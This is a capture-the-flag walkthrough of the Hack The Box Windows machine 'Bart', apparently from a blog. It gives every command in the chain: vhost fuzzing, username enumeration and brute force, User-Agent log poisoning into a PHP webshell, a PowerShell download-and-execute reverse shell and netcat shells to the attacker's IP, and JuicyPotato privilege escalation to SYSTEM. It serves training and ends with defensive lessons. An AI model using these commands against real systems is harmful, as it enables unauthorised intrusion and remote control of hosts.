the_open_door
coffee
ESEN

Bart

HackTheBoxMediumWindows10.10.10.81

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#vhost#username-enumeration#brute-force#log-poisoning#rce#seimpersonate#juicypotato#php-server-monitor
TL;DR. Bart is a Windows box with a single HTTP port. We discover the vhosts forum, monitor and internal-01. On the web we leak users (one commented out in the source), validate them by abusing the "forgot password" feature (user enumeration) and brute-force harvey:potter. PHP Server Monitor leads to an internal chat whose log.php records the User-Agent: a log poisoning gives us RCE and a shell as nt authority\iusr. With SeImpersonatePrivilege, JuicyPotato (SeImpersonate abuse) escalates to Administrator.

Recon

Host discovery

ping -c 1 10.10.10.81

ping to 10.10.10.81 with ttl=127

64 bytes from 10.10.10.81: icmp_seq=1 ttl=127 time=106 ms

TTL 127 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 127 = 128−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

UDP scan: nothing

On a Windows box it pays to check UDP before writing it off: ports 53, 88, 123 or 137 would give away a Domain Controller. Not here:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.81 | grep -v 'no-response'

nmap -sU over the 100 most common UDP ports of 10.10.10.81: the port table comes back empty

Initiating UDP Scan at 23:13
Scanning 10.10.10.81 [100 ports]
Completed UDP Scan at 23:13, 2.24s elapsed (100 total ports)
Nmap scan report for 10.10.10.81
Host is up, received user-set.

PORT       STATE          SERVICE          REASON

Nmap done: 1 IP address (1 host up) scanned in 2.37 seconds
             Raw packets sent: 258 (15.872KB) | Rcvd: 0 (0B)

Empty table and Rcvd: 0 (0B): not a single packet back. That rules out a DC and rules out SNMP, NetBIOS and TFTP in one go. An empty result, when shown, spares the reader wondering whether it was even checked.

Full TCP scan

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.81 -oG scan

nmap -p- against 10.10.10.81: out of 65535 ports only 80/tcp shows up open

Discovered open port 80/tcp on 10.10.10.81
Completed SYN Stealth Scan (65535 total ports)
Nmap scan report for 10.10.10.81
Host is up, received user-set (0.11s latency).

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

One port out of 65535. No SMB, no RDP, no WinRM: absolutely everything has to come in through port 80.

extractPorts reading the scan file and returning IP Address 10.10.10.81 and Open ports 80

Extracting information...
IP Address: 10.10.10.81
Open ports: 80

Ports copied to clipboard
nmap -p80 -sCV 10.10.10.81

nmap -sCV on port 80: Microsoft IIS httpd 10.0, the TRACE method warning and the redirect to http://forum.bart.htb/

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Three facts. IIS 10.0 has no usable CVE in this configuration. TRACE being enabled is bad practice (it used to enable the old Cross-Site Tracing), but modern browsers make it a dead end. What matters is Did not follow redirect to http://forum.bart.htb/: the server wants to be addressed by name, the sign of virtual hosting.

/etc/hosts with the line 10.10.10.81 bart.htb forum.bart.htb

10.10.10.81   bart.htb   forum.bart.htb

HTTP - TCP 80: vhosts

With the base domain we can fuzz by virtual host: same IP, different Host header. The --hh=0 filter drops the empty responses, which are the ones a non-existent vhost returns.

wfuzz -u 'http://bart.htb' -H 'Host: FUZZ.bart.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hh=0

wfuzz finding the monitor subdomain

ID          Response   Lines    Word      Chars      Payload

000000023:  200        548 L    2412 W    35529 Ch   "forum"
000000099:  200        80 L     221 W     3423 Ch    "monitor"

Two hits, of very different sizes: forum at 35,529 characters (a full site) and monitor at 3,423 (something much smaller, typically a login panel).

/etc/hosts extended with monitor.bart.htb

10.10.10.81   bart.htb   forum.bart.htb   monitor.bart.htb
whatweb http://forum.bart.htb
whatweb http://monitor.bart.htb

whatweb against forum.bart.htb and monitor.bart.htb, identifying IIS 10.0, jQuery, email addresses and the PHP Server Monitor title

http://forum.bart.htb [200 OK] Bootstrap, Country[RESERVED][ZZ],
  Email[d.simmons@bart.htb,h.potter@bart.htb,info@bart.htb,r.hilton@bart.htb,s.brown@bart.loca,s.brown@bart.local],
  HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.81], JQuery, MetaGenerator[WordPress 4.8.2],
  Microsoft-IIS[10.0], PoweredBy[WordPress], Script[text/javascript], Title[BART], WordPress[4.8.2]

http://monitor.bart.htb [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5,
  HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.81], JQuery[1.7.1], Microsoft-IIS[10.0], PHP[7.1.7],
  PasswordField[user_password], Script[text/javascript], Title[SERVER MONITOR], X-Powered-By[PHP/7.1.7]

The Email field is the finding: six addresses, h.potter@bart.htb among them. Keep them.

Wappalyzer on the forum says more than whatweb did: it is not just any WordPress, it is WordPress 4.8.2 with the aThemes Sydney theme, served by IIS 10.0 on Windows Server with MySQL behind it.

Wappalyzer on forum.bart.htb detecting WordPress 4.8.2, the aThemes Sydney theme, IIS 10.0, Windows Server, PHP, MySQL and jQuery 1.12.4

Wappalyzer on monitor.bart.htb showing PHP Server Monitor v3.2.1, PHP and MySQL

Three findings that steer the rest:

  • forum.bart.htb looks like WordPress but is static, with an old jQuery.
  • whatweb extracts email addresses from the HTML. They will matter again.
  • monitor.bart.htb runs PHP Server Monitor v3.2.1 on PHP and MySQL, with its own login panel. That is where there is something to attack.

Leaked users

The team section of forum.bart.htb showing employee cards with names and roles

The site lists employees with names and emails. Cross-checking them against the addresses whatweb pulled out, one is not rendered by the page. That can only mean it lives in the HTML but hidden:

user commented out in the forum's source

<!-- <div class="owl-item" ...><div class="team-item">
    ...
            <div class="name">Harvey Potter</div>
            <div class="pos">Developer@BART</div>
    ...
            <li><a class="mail" href="mailto:h.potter@bart.htb" target="_blank"><i class="fa">M</i></a></li>
    ...
</div></div>-->
<!-- Adding other employees breaks the CSS, I will fix it later. -->

Harvey Potter was commented out, with the excuse that he "breaks the CSS". Commenting something in HTML does not hide it: it flags it. And his role, Developer@BART, makes him the most interesting of the five.

We put all the names into a file, one per line, and generate the username variants:

nano users
cat users
username-anarchy --input-file users > userlist.txt

the users file with samantha brown, daniel simmons, robert hilton, harvey potter and jane doe, and the userlist.txt generated by username-anarchy with permutations like samantha, samanthabrown, s.brown, sbrown, bsamantha...

File: users
samantha brown
daniel simmons
robert hilton
harvey potter
jane doe

File: userlist.txt
samantha
samanthabrown
samantha.brown
samabrow
samanthab
s.brown
sbrown
bsamantha
b.samantha
browns
brown
brown.s
brown.samantha
sb
daniel
...

username-anarchy does not ship with Kali: it is a Ruby script you clone from its repository. From five names it generates every common convention (harvey, hpotter, potterh, harvey.potter…), which is exactly what you need when you know who works there but not what their account is called.

Access as harvey

User enumeration via "forgot password"

PHP Server Monitor has a password-recovery feature, and the link sits in the sign-in form itself, right next to the Login button:

the Please sign in panel of monitor.bart.htb with the Forgot password button highlighted beside Login

It asks for only the username:

PHP Server Monitor's "Forgot password" form, which only asks for a username

That form answers differently depending on whether the account exists, so it is an oracle: it lets us validate users before burning hours on brute force. We intercept the request to see which fields it wants (there is a CSRF token and the session cookie) and replay it with wfuzz, filtering by the length of the "user does not exist" answer:

wfuzz -u 'http://monitor.bart.htb' -H 'Cookie: PHPSESSID=<cookie>' -d 'csrf=<csrf>&user_name=FUZZ&action=forgot' -w userlist.txt -t 50 --hh=3318

wfuzz validating users through the recovery form

ID          Response   Lines   Word     Chars      Payload

000000045:  200        84 L    243 W    3639 Ch    "harvey"
000000015:  200        84 L    243 W    3639 Ch    "daniel"

Two valid names out of the whole list: harvey and daniel. harvey showing up confirms the source-code hint and cuts the next step down to a single user.

Password brute force

The login is intercepted the same way, to pull the field names and that particular request's CSRF:

Burp intercepting PHP Server Monitor's login request with the csrf, user_name, user_password and action fields

We search for the password with the same userlist.txt, not with rockyou. The bet is that it is a variant of the name itself, which is what usually happens on test accounts, and trying a few dozen candidates is far cheaper than firing fourteen million:

wfuzz -u 'http://monitor.bart.htb' -H 'Cookie: PHPSESSID=<cookie>' -d 'csrf=<csrf>&user_name=harvey&user_password=FUZZ&action=login' -w userlist.txt -t 50 --hh=3601,3581

wfuzz finding the password potter for harvey

000000056:  302  0 L  0 W  0 Ch  "potter"

The answer that gives away the hit is a 302 with 0 characters: a successful login redirects instead of rendering the form again. harvey's password is potter, his own surname.

The PHP Server Monitor panel after authenticating, listing the monitored servers

Inside, PHP Server Monitor does what it says: it watches servers and websites. And one of the monitored entries is called "Internal Chat". Opening its record shows the address:

The "Internal Chat" server record in PHP Server Monitor showing Domain/IP http://internal-01.bart.htb/ on port 80

Internal Chat
Status:      on
Type:        Website
Domain/IP:   http://internal-01.bart.htb/
Port:        80

A fourth vhost that the 110,000-name wordlist never found, handed over by the monitoring tool itself.

/etc/hosts with all four names, including internal-01.bart.htb

10.10.10.81   bart.htb   forum.bart.htb   monitor.bart.htb   internal-01.bart.htb

RCE: log poisoning

Registering on the chat through the back door

The internal-01.bart.htb/simple_chat/ login asking for a username and password

The chat has its own login and harvey:potter does not work here: different user stores. Time to enumerate paths:

dirsearch -u http://internal-01.bart.htb/simple_chat/ --exclude-status=404,403

dirsearch on /simple_chat/ finding js, chat.php, css, includes, login.php, media and register.php, all with 301 or 302 redirects

[16:15:59] 301 -  166B  - /simple_chat/js  ->  http://internal-01.bart.htb/simple_chat/js/
[16:16:28] 302 -    4B  - /simple_chat/chat.php  ->  simple_chat/login_form.php
[16:16:31] 301 -  167B  - /simple_chat/css  ->  http://internal-01.bart.htb/simple_chat/css/
[16:16:41] 301 -  172B  - /simple_chat/includes  ->  http://internal-01.bart.htb/simple_chat/includes/
[16:16:46] 302 -    0B  - /simple_chat/login.php  ->  login_form.php
[16:16:48] 301 -  169B  - /simple_chat/media  ->  http://internal-01.bart.htb/simple_chat/media/
[16:17:01] 302 -    0B  - /simple_chat/register.php  ->  register_form.php
Task Completed

There is a register.php, even though the form that goes with it is linked nowhere. Requesting it does something odd:

curl -I  http://internal-01.bart.htb/simple_chat/register.php
curl -LI http://internal-01.bart.htb/simple_chat/register.php

curl -I on register.php returns 302 Found with Location: register_form.php; following the redirect with -L the destination answers 500 Internal Server Error

HTTP/1.1 302 Found
Content-Length: 0
Location: register_form.php
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.1.7
Set-Cookie: PHPSESSID=hial532tsfjs9e4o8n4i9nvqpp; path=/

HTTP/1.1 500 Internal Server Error
Content-Length: 75
Content-Type: text/html
Server: Microsoft-IIS/10.0

The distinction is the key: register.php answers fine (302), and what is broken is register_form.php (500), that is, the visual form. Since the .php that processes the signup works, we can talk to it directly without going through the HTML. All we need is the field names, and for that we look at the login's, which are usually the same. Sending any attempt with the Network tab open, the request's Payload spells them out:

the chat login with user test, the warning that the password must be at least 8 characters, and in the inspector login.php's Form Data with uname, passwd and submit

Form Data
uname=test&passwd=test&submit=Login

It also makes clear the length check (The Password must be at least 8 characters) is client-side: the request goes out anyway. With the three names, the signup goes out by hand:

curl http://internal-01.bart.htb/simple_chat/register.php -d 'uname=jaime&passwd=jaime123&submit=Register'

curl posting the signup straight to register.php; the server returns no message at all

root@kali:~/machines/bart# curl http://internal-01.bart.htb/simple_chat/register.php -d 'uname=jaime&passwd=jaime123&submit=Register'
root@kali:~/machines/bart#

The server prints nothing. No output does not mean it failed (the script redirects to the broken form and writes no body), so the check is to try logging in:

the chat login accepts the freshly registered jaime user

The vector that was not

Inside there is a chat with messages from harvey, daniel and bobby. The first thing anyone tries in a chat is storing code:

the chat rendering the injected &lt;h1&gt;hola&lt;/h1&gt; and &lt;script&gt;alert(123)&lt;/script&gt; as plain text, uninterpreted

(2025-12-10 13:32:08) jaime says:
<h1>hola</h1>

(2025-12-10 13:29:44) jaime says:
<script>alert(123)</script>

The tags render literally: the application escapes its output, so there is no stored XSS. A dead end, but worth showing because it is everyone's first idea, and ruling it out forces you to read the rest of the conversation instead of pushing harder.

The hint is in the messages

the chat with bobby's message: "@harvey: DUDE! Do not place development code in here, this is a production server!"

(2017-10-04 20:38:11) bobby says:
@harvey: DUDE! Do not place development code in here, this is a production server!

(2017-10-04 14:53:12) daniel says:
Well done H! This looks good

(2017-10-04 14:51:29) harvey says:
Test!

bobby is telling harvey off for leaving development code on a production server. That is not flavour text: it is the instruction on where to look. And the page source confirms it:

view-source of internal-01.bart.htb showing a commented-out Internal Chat block marked DEV and internal use only, and a saveChat() function making an AJAX request to log/log.php with filename and username parameters

<!-- <div id="title"><h1>[DEV] Internal Chat</h1></div>
     <div id="title"><h1>Internal use only</h1></div> -->
...
<script>
    function saveChat() {
        // create a serialized object and send to log_chat.php. Once done hte XHR request, alert "Done"
        var xhr = new XMLHttpRequest();
        ...
        xhr.open('GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
        xhr.send(null);
        alert("Done");
    }
</script>
<a href="#" onclick="saveChat()">Log</a>

There is the development code bobby was complaining about: a saveChat() function calling /log/log.php with a GET filename and a username. Two client-controlled parameters, one of them a filename.

What log.php does

http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey

the request to log.php with filename=log.txt returns a 1 on screen

1

It returns 1, which is what PHP prints for a true. Changing the filename still returns 1:

the same request to log.php with filename=test.txt still returns a 1 on screen

1

So it is checking nothing: it accepts any value. The hypothesis is that the 1 means "file created successfully", and we test it by requesting the file:

the file named in filename exists under /log/ and contains a line with the timestamp, the user and the browser's User-Agent

[2025-12-10 17:22:26] - harvey - Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0

Confirmed, with two gifts: the file is created with whatever name we pass (extension included) and its contents include the User-Agent verbatim, a field we fully control.

Poisoning the log with PHP

Both pieces together are a textbook log poisoning: a .php filename (so IIS interprets it) plus PHP injected through the header.

curl 'http://internal-01.bart.htb/log/log.php?filename=test.php&username=harvey' -H 'User-Agent: <?php system("whoami");?>'
curl 'http://internal-01.bart.htb/log/test.php'

log poisoning running whoami as nt authority iusr

[2025-12-10 18:16:55] - harvey - nt authority\iusr

Where the User-Agent string should appear, nt authority\iusr shows up instead: the server did not write it, it ran it. That is RCE. We turn it into a parameterised webshell so we do not repeat the whole dance per command:

curl 'http://internal-01.bart.htb/log/log.php?filename=cmd.php&username=harvey' -H 'User-Agent: <?php system($_GET["cmd"]);?>'
curl 'http://internal-01.bart.htb/log/cmd.php?cmd=whoami'

the cmd.php webshell answers the cmd parameter and returns nt authority\iusr

1
[2025-12-10 19:06:30] - harvey - nt authority\iusr

Initial access

The webshell is fine for one-off commands but not for working. We use Nishang's Invoke-PowerShellTcp (repo), setting the IP and port at the end of the file:

rev.ps1 edited with the Invoke-PowerShellTcp call naming the attacker's IP and port

We serve it over HTTP and leave Penelope listening (better than nc because it negotiates the TTY and survives drops):

python3 -m http.server 80
penelope

on the left the http.server serving rev.ps1 on port 80 and on the right Penelope listening for reverse shells on 4444

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 - 192.168.1.80 - 172.17.0.1 - 10.10.16.4

The payload does not write the file to disk: it pulls it into memory with downloadString and runs it with IEX, leaving no trace on the filesystem.

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/rev.ps1')

the cmd.php webshell receives the PowerShell IEX/downloadString one-liner through the cmd parameter, and the page returns only the log line with nothing after it

http://internal-01.bart.htb/log/cmd.php?cmd=powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/rev.ps1')

[2025-12-10 19:06:30] - harvey -

There is nothing after the dash: IEX writes nothing to the webshell's stdout because the session leaves through the other side. Here, returning no output is the sign that it worked.

Nishang reverse shell established

[+] Got reverse shell from BART~10.10.10.81-Microsoft_Windows_10_Pro-x64  Assigned SessionID <1>
PS C:\inetpub\wwwroot\internal-01\log> whoami
nt authority\iusr

A PowerShell session as nt authority\iusr, IIS's anonymous account.

Privilege escalation

The user flag is not there

cmd /c dir /r /s user.txt

the recursive search for user.txt from C:\Users returns "File Not Found"

PS C:\Users> cmd /c dir /r /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is 4406-E731
File Not Found

iusr cannot even read the profile where the flag lives. That rules out the usual detour (grab the user flag, then escalate) and leaves one route: go straight to SYSTEM and take both flags at once.

SeImpersonatePrivilege abuse with JuicyPotato

whoami /priv

SeImpersonatePrivilege enabled for iusr

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                          State
============================= ==================================== ========
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                Enabled

SeImpersonatePrivilege is Enabled. That privilege lets a process adopt the token of a client that connects to it, and IIS service accounts hold it by design. The Potato family exploits it by tricking a SYSTEM service into authenticating against a local port we control, capturing its token and using it to spawn a process.

We upload the exploit and nc.exe:

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip && unzip netcat-win32-1.12.zip
python3 -m http.server 80

the wget pulls JuicyPotato.exe from the v0.1 release and the ls leaves it next to the already prepared rev.ps1

JuicyPotato.exe  rev.ps1
certutil -f -urlcache -split http://10.10.16.4/JuicyPotato.exe
certutil -f -urlcache -split http://10.10.16.4/nc64.exe

certutil pulls JuicyPotato.exe from the attacker's http.server, which logs both GET requests from 10.10.10.81

PS C:\certutil -f -urlcache -split http://10.10.16.4/JuicyPotato.exe JuicyPotato.exe
****  Online  ****
  000000  ...
  054e00
CertUtil: -URLCache command completed successfully.

10.10.10.81 - - [10/Dec/2025 19:29:43] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.81 - - [10/Dec/2025 19:29:46] "GET /JuicyPotato.exe HTTP/1.1" 200 -

certutil downloading JuicyPotato.exe and nc64.exe into C:\Windows\Temp on the target

PS C:\Windows\Temp> certutil -f -urlcache -split http://10.10.16.4/nc64.exe nc64.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

# and on the attacker's HTTP server:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.81 - - [10/Dec/2025 19:34:29] "GET /nc64.exe HTTP/1.1" 200 -
10.10.10.81 - - [10/Dec/2025 19:34:30] "GET /nc64.exe HTTP/1.1" 200 -

With the 4443 listener ready (the port handed to nc in the -a argument):

rlwrap nc -nlvp 4443
.\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc64.exe -e cmd 10.10.16.4 4443"

JuicyPotato run twice with the default CLSID {4991d34b-80a1-4291-83b6-3328366b9097} fails both times with "COM -&gt; recv failed with error: 10038"

PS C:\Windows\Temp> .\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc64.exe -e cmd 10.10.16.4 4443"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
COM -> recv failed with error: 10038

It fails, and two runs in a row give the same thing. The reason is on the first line: JuicyPotato uses a default CLSID ({4991d34b-...}, the BITS one) that is not registered or not impersonatable on every Windows version. error: 10038 is "operation on something that is not a socket", meaning the COM object never connected at all.

The fix is to pick a CLSID that does exist on this system:

systeminfo

systeminfo confirms Host Name BART and OS Name Microsoft Windows 10 Pro, next to the Windows 10 Pro CLSID table from the JuicyPotato repository

Host Name:     BART
OS Name:       Microsoft Windows 10 Pro
OS Version:    10.0.15063 N/A Build 15063
System Model:  VMware Virtual Platform

The JuicyPotato repository keeps a CLSID list per operating system; for Windows 10 Pro there are several, and we only need one that resolves to NT AUTHORITY\SYSTEM:

.\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc64.exe -e cmd 10.10.16.4 4443" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

JuicyPotato giving a shell as Administrator

Testing {5B3E6773-3A99-4A3D-8096-7765DD11785C} 1337
[+] authresult 0
{5B3E6773-3A99-4A3D-8096-7765DD11785C};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

connect to [10.10.16.4] from (UNKNOWN) [10.10.10.81] 54102
Microsoft Windows [Version 10.0.15063]
C:\Windows\system32>

The {5B3E6773-...};NT AUTHORITY\SYSTEM line is the proof: that CLSID runs under SYSTEM's identity, and CreateProcessWithTokenW OK confirms the process was spawned with that token. The shell landing on 4443 is already privileged and can read both flags:

user and root flags

C:\Users>type h.potter\Desktop\user.txt
afb87f3417d14dbaf5b6ae6486876f56

C:\Users>type Administrator\Desktop\root.txt
4fe14d3cdefa06c83787b9e3d38339c5

The user flag lived in h.potter's profile, the very user someone had commented out of the HTML at the start.

Attack chain

HTTP/IIS (single port) → redirect to forum.bart.htb → vhost fuzz → monitor.bart.htb
   │ harvey commented out in the source → username-anarchy
   ▼
forgot-password (username enumeration) → harvey and daniel valid
   │ login brute force with the same userlist
   ▼
harvey:potter on PHP Server Monitor → "Internal Chat" record → internal-01.bart.htb
   │ register.php directly (register_form.php returns 500) → chat
   ▼
bobby's message → [DEV] code in the source → log.php creates files and logs the User-Agent
   ▼
log poisoning (PHP User-Agent) → cmd.php webshell → RCE as nt authority\iusr
   │ Nishang IEX in memory
   ▼
SeImpersonatePrivilege → JuicyPotato (Windows 10 Pro CLSID) → NT AUTHORITY\SYSTEM
   │
   ▼
user.txt (h.potter) + root.txt

Lessons learned

  • "Hidden" source code hides nothing. Commenting a user out of the HTML leaves them visible to anyone reading the source and, on top of that, marks them as interesting. Never rely on the client side to hide information.
  • Forms that answer differently leak users. PHP Server Monitor's "forgot password" allowed enumerating accounts before any brute force. Responses must be identical whether the user exists or not.
  • A broken form does not mean a broken endpoint. register_form.php returned 500, but register.php processed signups perfectly. Talking to the backend directly removes the dependency on the HTML.
  • Never log user-controlled data into an interpretable file. Storing the User-Agent in a reachable .php is the recipe for log poisoning: keep logs out of the web root, do not give them an executable extension and sanitise what gets written.
  • SeImpersonatePrivilege is still a door to SYSTEM. Web service accounts like iusr usually hold it; the Potato family turns it into SYSTEM. When the default CLSID fails with a recv failed, it is not that the privilege is useless: you need one from the list for that exact OS version.
Command cheatsheet 12 commands

Quick review